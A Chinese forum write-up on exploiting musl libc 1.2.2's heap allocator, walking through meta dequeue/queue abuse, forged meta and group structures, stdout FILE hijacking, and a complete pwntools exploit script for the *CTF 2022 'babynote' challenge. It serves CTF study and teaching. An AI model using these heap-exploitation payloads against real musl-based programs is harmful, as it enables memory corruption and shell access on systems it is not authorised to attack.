本文为看雪论坛优秀文章
看雪论坛作者ID:Nameless_a
一
前言
看了0xRGZ师傅的博客,觉得自己是懂musl的,小摸了一篇手动编译测试musl1.2.2 meta dequeue特性(https://bbs.pediy.com/thread-274629.htm)。做题的时候发现自己学的和写的是1托4,利用和学机制真的不太一样,在照着xyzmpv师傅的博客复现今年*ctf的babynote的过程中逐行调试才恍然大物。在这里简单记录一下复现中学到的musl 1.2.2的利用手法。
二
常见利用手法
一般是下面两种:
(1)free->nontrivial_free()->dequeue
(2)malloc->alloc_slot->dequeue
(触发详情可见笔者的musl手动编译测试文章或者0xRGZ师傅的文章)
任意地址写
meta dequeue是一个类似于glibc里面双链表结构bin取出堆块的unlink操作,源码如下:
(在/musl-1.2.2/src/malloc/mallocng/meta.h目录下)
如果我们劫持meta的pre和next,就可以达到无任何检查的unlink的任意地址写的操作。
同样,从一个简单的demo入手:
(下述调试的偏移均未开ASLR保护的U2004环境,可以通过echo 0 > /proc/sys/kernel/randomize_va_space设置,然后偏移应该就是一样的了)
/*
在musl-1.2.2目录下编译和链接:
./obj/musl-gcc main.c -o test
patchelf --set-interpreter ./libc.so ./test
(libc.so就用题目附件给的就好)
*/
#include<stdio.h>
#include <unistd.h>
void init()
{
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
}
int main() {
init();
size_t *p1;
p1=(size_t *)malloc(0x20); //1
read(0,p1,0x10);
free(p1);
return 0;
}
目标:给0x555555559f00赋值0x55555555b300
首先断在这个地方:
此时meta的构造如下:
发现此时这个meta指向自身,我们通过set指令修改它的pre和next:
set *0x55555555b298 = 0x555555559ef8
set *0x55555555b2a0 = 0x55555555b300
修改过后,ni 发现会卡在一个地方:
但是我们发现dequeue其实是执行了的,也就是我们成功给0x555555559f00赋值0x55555555b300:
为啥会卡住呢?我们着重分析分析118行这里的源码。
这里的m是一个meta,而且是0x298的next,也就是0x55555555b300。mheap一下也能发现原来的0x298被换成了一个新的meta:
这里也提醒了我们,meta->mem即存group地址的地方是空的,也正是因为这个,在mozxv那行汇编引用[rax+8]就会卡住。于是我们考虑用set补充一下这个地方(将0xb340这个地址当作group):
set *0x55555555b310 = 0x55555555b340
set *0x55555555b314 = 0x5555
(不知道为啥这些地方set就只能一次4字节)
但还不够,group也要索引到meta,即group的首地址得存放meta的地址。这是因为malloc和free的时候存在get_meta的检查,部分源码如下:
const struct group *base = (const void *)(p - UNIT*offset - UNIT);
//根据chunK获取group和meta p为chunk指针
const struct meta *meta = base->meta;
assert(meta->mem == base);//检查
assert(index <= meta->last_idx);
assert(!(meta->avail_mask & (1u<<index)));
assert(!(meta->freed_mask & (1u<<index)));
//通过bitmap进行两次检查,确保avail和freed mask的bitmap不会越界
const struct meta_area *area = (void *)((uintptr_t)meta & -4096);
//meta area和meta在一页内,meta area在页开头(实际就是清除了meta的十六进制低三位)
assert(area->check == ctx.secret);//检查area中的secret
重点检查就是secret和meta->mem。secret也就是meta_addr & -0x4096(即低三位为0的地址),很幸运的是恰好这里就是screat:(0xb300清除后三位被称作meta_area的地方,与meta处于同一页中)
meta->mem也就是group的首地址,要设置成meta的地址。同样用set:
set *0x000055555555b340 = 0x55555555b300
set *0x000055555555b340 = 0x5555
设置好过后,ni就能成功free然后实现任意地址写了。
上面介绍dequeue利用的时候,有个active[2]中的meta从0x298换成0x55555555b300,触发了dequeue实现了active[2]上面meta的替换。这是在active[2]非空的情况下的替换。但当active为空,我们又怎么让它凭空“长”一个meta出来呢?我们看看meta.h下的nontrivial_free函数(和前面的dequeue是一个函数):
发现就是if和else if的关系,if那条分支其实检查的是mask是否符合条件(是否满了,要么全用了要么全free,这里肯定是检查是否已经用了的堆块全free),ok_2_free其实检查的是meta的free_able标记(因为其它条件基本能满足):
只要满足free_able为0,就可执行else if分支。else if分支需要满足sc<48,伪造的时候注意即可,然后就是检查active[sc]上面的meta是否是即将加入的m,我们伪造的时候一般针对的是空的active,这里就直接通过了。然后就到了queue里面:
这里的phead其实就是active,m是即将被放入active的meta,执行的肯定是else的分支(因为active为空),然后我们就成功把伪造的meta m加入active[sc]了。malloc(sc*0x10)就能从伪造的meta找到伪造的group,然后从伪造的group取出堆块。
实现任意地址申请
当伪造的group的地址为我们想要修改的地址-0x10的时候,在满足条件的情况下,就能通过malloc(sc*0x10)申请出想要修改的地址进行修改。
下面谈谈如何伪造满足条件的meta和group实现任意地址申请:
(1)首先需要满足meta_area和meta处于同一页,一般都是采用申请大堆块使得通过mmap分配,然后通过padding使得meta_area和meta处于同一页。
(2)然后需要满足meta_area的首地址为screat,这个也好满足,在padding过后紧接着就行。
(3)伪造meta:伪造prev,next,mem,以及last_idx, freeable, sc, maplen四合一的一位。一般需要伪造两种meta(同一个,执行完一个功能过后通过复写切换),一种用来dequeue任意地址写修改最后fake_group的首地址为fake_meta的地址从而通过get_meta的检查;另一种严格保证不会被free掉,从而执行queue被加进active[sc]达成任意地址申请修改的目的。
(4)伪造group:首地址为fake_meta的地址,+0x8的active_idx一般修改为1即可。
(5)free(group+0x10)来执行nontrivial_free:总共执行两次。第一次dequeue将fake_group(即target-0x10)写入fake_meta,第二次queue将fake_meta加入active[sc]。
(6)malloc(sc*0x10)申请出target进行修改。
伪造的模板如下:(两种meta的区别本质上是通过修改四合一位来实现的,也就是在free(fake_chunk)的时候nontrivial_free走的是if还是else if)。
① 伪造meta
伪造dequeue-meta:
```
last_idx, freeable, sc, maplen = 0, 1, 8, 1
#fake meta
fake_meta = p64(stdout - 0x18) # prev
fake_meta += p64(fake_meta_addr + 0x30) # next
fake_meta += p64(fake_mem_addr) # mem
fake_meta += p32(0) + p32(0) # avail_mask, freed_mask
fake_meta += p64((maplen << 12) | (sc << 6) | (freeable << 5) | last_idx)
fake_meta += p64(0) #duiqi
```
伪造queue-meta(或者伪造替换group时不希望meta被free):
last_idx, freeable, sc, maplen = 1, 0, 8, 0 #freeable置0是为了拒绝ok to free校验,防止释放meta
fake_meta = p64(0) # prev
fake_meta += p64(0) # next
fake_meta += p64(fake_mem_addr) # mem
fake_meta += p32(0) + p32(0) # avail_mask, freed_mask
fake_meta += p64((maplen << 12) | (sc << 6) | (freeable << 5) | last_idx)
fake_meta += p64(0)
② 伪造group
fake_mem = p64(fake_meta_addr) # meta
fake_mem += p32(1) + p32(0)
③ 拼接payload
payload = padding ##页对齐
payload += p64(secret) + p64(0) ## +p64(0)是为了补齐
payload += fake_meta + b'\n'
任意地址泄露或者任意地址写
musl的UAF和glibc的有点不太一样,这是因为musl的堆块free过后不会立马被再次使用。这是由meta的avail_mask和freed_mask限制的。申请group对应大小的堆块,会优先使用avail_mask上还是1的位置对应的堆块。当avail_mask变成0了会检测freed_mask是否为0,如果为0则该meta可以dequeue了(即malloc触发的dequeue),反之则会将avail_mask异或上freed_mask同时将freed_mask置为0,取出当前avail_mask从低到高第一个非0位对应的堆块作为malloc(或者其它内存申请函数)的返回值,并将该位置为0。
所以,musl的堆题处处充满了风水。举个栗子:
注意avail_mask和freed_mask,idx为1(group的第二个)的chunk此时是free状态,但是我们申请的话,其实是申请到idx为9的堆块。这就是musl管理chunk和glibc不太一样的地方,相应的UAF利用,比如idx为1的堆块存在UAF,我们想构造它既是note又是note上的关键位置(比如content这类能通过show函输泄露的地方),就只能等先取出idx为9的堆块才能申请出它了。
musl没有glibc的大多hook,但有我们pwnpwn人最喜欢的(白洋淀啥都喜欢十八)IO_FILE。下面给出一条链子供给参考:
puts->fputs_unlocked->fwrite_unlocked->__fwritex+142(call rax)
这里的rax是通过r12赋值的:
mov rax, qword ptr [r12 + 0x48]
call rax
而r12:R12 0x7ffff7ffb280 (__stdout_FILE) ◂— 0x68732f6e69622f / '/bin/sh' /
那我们就可以利用meta dequeue&queue实现任意地址写__stdout_FIE。
伪造的IO_FILE模板如下:
fake_IO = b'/bin/sh\x00' # flags
fake_IO += p64(0) # rpos
fake_IO += p64(0) # rend
fake_IO += p64(libc_base + 0x5c9a0) # close
fake_IO += p64(1) # wend
fake_IO += p64(0) # wpos
fake_IO += p64(0) # mustbezero_1
fake_IO += p64(0) # wbase
fake_IO += p64(0) # read
fake_IO += p64(libc_base + libc.sym['system']) # write
其实就改了改三个点,flags,wend和write。原来的长这样:
改wend其实是因为在call rax之前还有这个检查:
同样给出一条参考链子(感谢CatF1y师傅的点拨):
exit->stdio_exit_needed->stdio_exit_needed->close_file
最后的close_file长这样:
最终执行的是call [rbp+0x48],在call之前贴心的把edx和esi给清空了,简直是给execve函数量身定制的。rdi是rbp,是在这个地方赋值的:
只要劫持ofl_head为一个可控的结构体(堆块或bss),在上面赋值就可以getshell。这样只需要meta dequeue的一次任意地址写并且函数里有exit就能getshell了。
三
例题:【*ctf2022】babynote
./libc.so即可看查libc版本:
实现了增删查三种功能。
熟悉的结构题题,通过calloc申请0x20大小的note:
name和content都是自定大小的calloc堆块,黄色箭头的是chain上的note。这里的chain其实指这题的note之间是通过链表连起来的,有一个全局链表头global_note。通过头插法插入note(大家可以自行画图理解)。
这个函数的流程大体如下:
读入size和key,通过list_pass遍历chain,找到name_size和读入的size相同且name和key相同的note,返回给v3。然后通过大端序列显示v3的内容:
也是通过list_pass寻找和输入的key以及size对应的note。重点放在下面的if和else分支,发现只有else分支会清除指针,if分支不会,也就是说当chain中的note不少于两个的时候就会存在UAF。通过这个UAF我们能创造一个既是note(记为A),同时也是一个note的content(记为B)的堆块,然后通过find打印B的content即可泄露libcbase和elfbase。由于musl libc的堆是静态堆,也就相当于泄露了堆地址(elfbase和heapbase泄露一个就行,这点和glibc是不一样的)。
利用流程:
已知存size为0x30的group最多能存10个堆块(0~9)
(1)通过find的calloc和free二连将avail_mask设置成0b1000000000,free_mask设置为0b0111111110:
(2)通过add(namesize=xxx,contentsize=0x28)将globa_note设置为B(idx=9),同时B的content将被设置为A(idx=1)。
(3)delet B(同时A也会被删除,因为delet也会删除content),通过add更新A的name和content。
(4)通过find show B的content,即可泄露libcbase和elfbase
由于泄露是大端自序泄露,所以需要特殊的手法来操作exp接收的字符:
libcbase=u64(p64(int(r.recv(16),16),endianness="big")) - 0xb7d60
后面还可以利用这个特性,通过find直接修改B的content为__malloc_context泄露secret(任意地址泄露);或是改成合法的chunk(任意地址free)。
# -*- coding: utf-8 -*-
from platform import libc_ver
from pwn import *
from hashlib import sha256
import base64
context.log_level='debug'
#context.arch = 'amd64'
context.arch = 'amd64'
context.os = 'linux'
io = lambda : r.interactive()
sl = lambda a : r.sendline(a)
sla = lambda a,b : r.sendlineafter(a,b)
se = lambda a : r.send(a)
sa = lambda a,b : r.sendafter(a,b)
lg = lambda name,data : log.success(name + ":" + hex(data))
def z():
gdb.attach(r)
def cho(num):
sla("option: ",str(num))
def add(namesz,name,notesz,note):
cho(1)
sla("name size: ",str(namesz))
sa("name: ",name)
sla("note size: ",str(notesz))
sa("note content: ",note)
def find(namesz,name):
cho(2)
sla("name size: ",str(namesz))
sa("name: ",name)
def delet(namesz,name):
cho(3)
sla("name size: ",str(namesz))
sa("name: ",name)
def remake():
cho(4)
def exp():
global r
global libc
r=process("./babynote")
libc=ELF('./libc.so')
## leak libcbase && elfbase
add(0x38,"a"*0x38,0x38,"a"*0x38)
cho(4)
for _ in range(8):
find(0x28,"a"*0x28)
add(0x38,"2"*0x38,0x28,"2"*0x28)
add(0x38,"3"*0x38,0x38,"3"*0x38)
delet(0x38,"2"*0x38)
for _ in range(6):
find(0x28,"a"*0x28)
add(0x38,"4"*0x38,0x58,"4"*0x58)
find(0x38,"2"*0x38)
r.recvuntil("0x28:")
libcbase=u64(p64(int(r.recv(16),16),endianness="big")) - 0xb7d60
elfbase=u64(p64(int(r.recv(16),16),endianness="big")) - 0x4c40
log.success("libcbase:"+hex(libcbase))
log.success("elfbase:"+hex(elfbase))
## set libcfunc
malloc_context = libcbase + 0xb4ac0
mmap_base = libcbase - 0xa000
fake_meta_addr = mmap_base + 0x2010
fake_mem_addr = mmap_base + 0x2040
stdout = libcbase + 0xb4280
## leak secret
for _ in range(6):
find(0x28,"a"*0x28)
pd=p64(elfbase+0x4fc0)+p64(malloc_context)+p64(0x38)+p64(0x28)+p64(0)
find(0x28,pd)
find(0x38,"a"*0x38)
r.recvuntil("0x28:")
secret=u64(p64(int(r.recv(16),16),endianness="big"))
lg("secret",secret)
## set fake meta
add(0x28,"5"*0x28,0x1200,'\n')
last_idx, freeable, sc, maplen = 0, 1, 8, 1
#fake meta
fake_meta = p64(stdout - 0x18) # prev
fake_meta += p64(fake_meta_addr + 0x30) # next
fake_meta += p64(fake_mem_addr) # mem
fake_meta += p32(0) + p32(0) # avail_mask, freed_mask
fake_meta += p64((maplen << 12) | (sc << 6) | (freeable << 5) | last_idx)
fake_meta += p64(0) #duiqi
#fake group
fake_mem = p64(fake_meta_addr) # meta
fake_mem += p32(1) + p32(0)
payload = b'a' * 0xaa0
#fake meta area
payload += p64(secret) + p64(0)
payload += fake_meta + fake_mem + '\n'
find(0x1200,payload)
## dequeue 2 set stdout_file -0x10 (where the final fake group)
for _ in range(3):
find(0x28,"a"*0x28)
pd=p64(elfbase+0x4fc0)+p64(fake_mem_addr+0x10)+p64(0x38)+p64(0x28)+p64(0)
add(0x38,"6"*0x38,0x28,pd)
delet(0x38,"a"*0x38)
## reset fake meta , free fake chunk 2 queue it(queue the fake meta)
last_idx, freeable, sc, maplen = 1, 0, 8, 0 #freeable置0是为了拒绝ok to free校验,防止释放meta
fake_meta = p64(0) # prev
fake_meta += p64(0) # next
fake_meta += p64(fake_mem_addr) # mem
fake_meta += p32(0) + p32(0) # avail_mask, freed_mask
fake_meta += p64((maplen << 12) | (sc << 6) | (freeable << 5) | last_idx)
fake_meta += p64(0)
fake_mem = p64(fake_meta_addr) # meta
fake_mem += p32(1) + p32(0)
payload = b'a' * 0xa90
payload += p64(secret) + p64(0)
payload += fake_meta + fake_mem + b'\n'
##z()
find(0x1200, payload)
for _ in range(2):
find(0x28, 'a' * 0x28)
pd=p64(elfbase+0x5fc0)+p64(fake_mem_addr+0x10)+p64(0x38)+p64(0x28)+p64(0)
add(0x38,"7"*0x38,0x28,pd)
delet(0x38,"a"*0x38)
## reset fake meta's group at stdout_file -0x10
last_idx, freeable, sc, maplen = 1, 0, 8, 0
fake_meta = p64(fake_meta_addr) # prev
fake_meta += p64(fake_meta_addr) # next
fake_meta += p64(stdout - 0x10) # mem
fake_meta += p32(1) + p32(0) # avail_mask, freed_mask
fake_meta += p64((maplen << 12) | (sc << 6) | (freeable << 5) | last_idx)
fake_meta += b'a' * 0x18
fake_meta += p64(stdout - 0x10)
payload = b'a' * 0xa80
payload += p64(secret) + p64(0)
payload += fake_meta + b'\n'
find(0x1200, payload)
## calloc to edit stdout 2 IO_attack
cho(1)
sla('name size: ', str(0x28))
sa('name: ', '\n')
sla('note size: ', str(0x80))#sc为8
fake_IO = b'/bin/sh\x00' # flags
fake_IO += p64(0) # rpos
fake_IO += p64(0) # rend
fake_IO += p64(libcbase + 0x5c9a0) # close
fake_IO += p64(1) # wend
fake_IO += p64(0) # wpos
fake_IO += p64(0) # mustbezero_1
fake_IO += p64(0) # wbase
fake_IO += p64(0) # read
fake_IO += p64(libcbase + libc.sym['system']) # write
##z()
sl(fake_IO)
io()
if __name__ == '__main__':
exp()
dequeue和queue的触发不止free这种,但笔者精力有限没能全部研究透彻(不过如果以后搞嵌入式真的需要研究这方面的漏洞的话再行分享hh)。但是比起glibc,musl的libc真的缩减了很多,属于是那种比赛的时候可以现找漏洞点的。所以没涉及的地方就交给读者自行研究了,感谢阅读。
感谢xyzmpv师傅的题解以及0xRGz 师傅的musl源码解析!
*CTF babynote 复现_xyzmpv的博客-CSDN博客
(https://blog.csdn.net/weixin_45209963/article/details/124423573)
musl 1.2.2 总结+源码分析
(https://bbs.pediy.com/thread-269533-1.htm#msg_header_h3_8)
看雪ID:Nameless_a
https://bbs.pediy.com/user-home-943085.htm
2.5折门票限时抢购
峰会官网:https://meet.kanxue.com/kxmeet-6.htm
# 往期推荐
1.进程 Dump & PE unpacking & IAT 修复 - Windows 篇
2.NtSocket的稳定实现,Client与Server的简单封装,以及SocketAsyncSelect的一种APC实现
3.如何保护自己的代码?给自己的代码添加NoChange属性
球分享
球点赞
球在看
点击“阅读原文”,了解更多!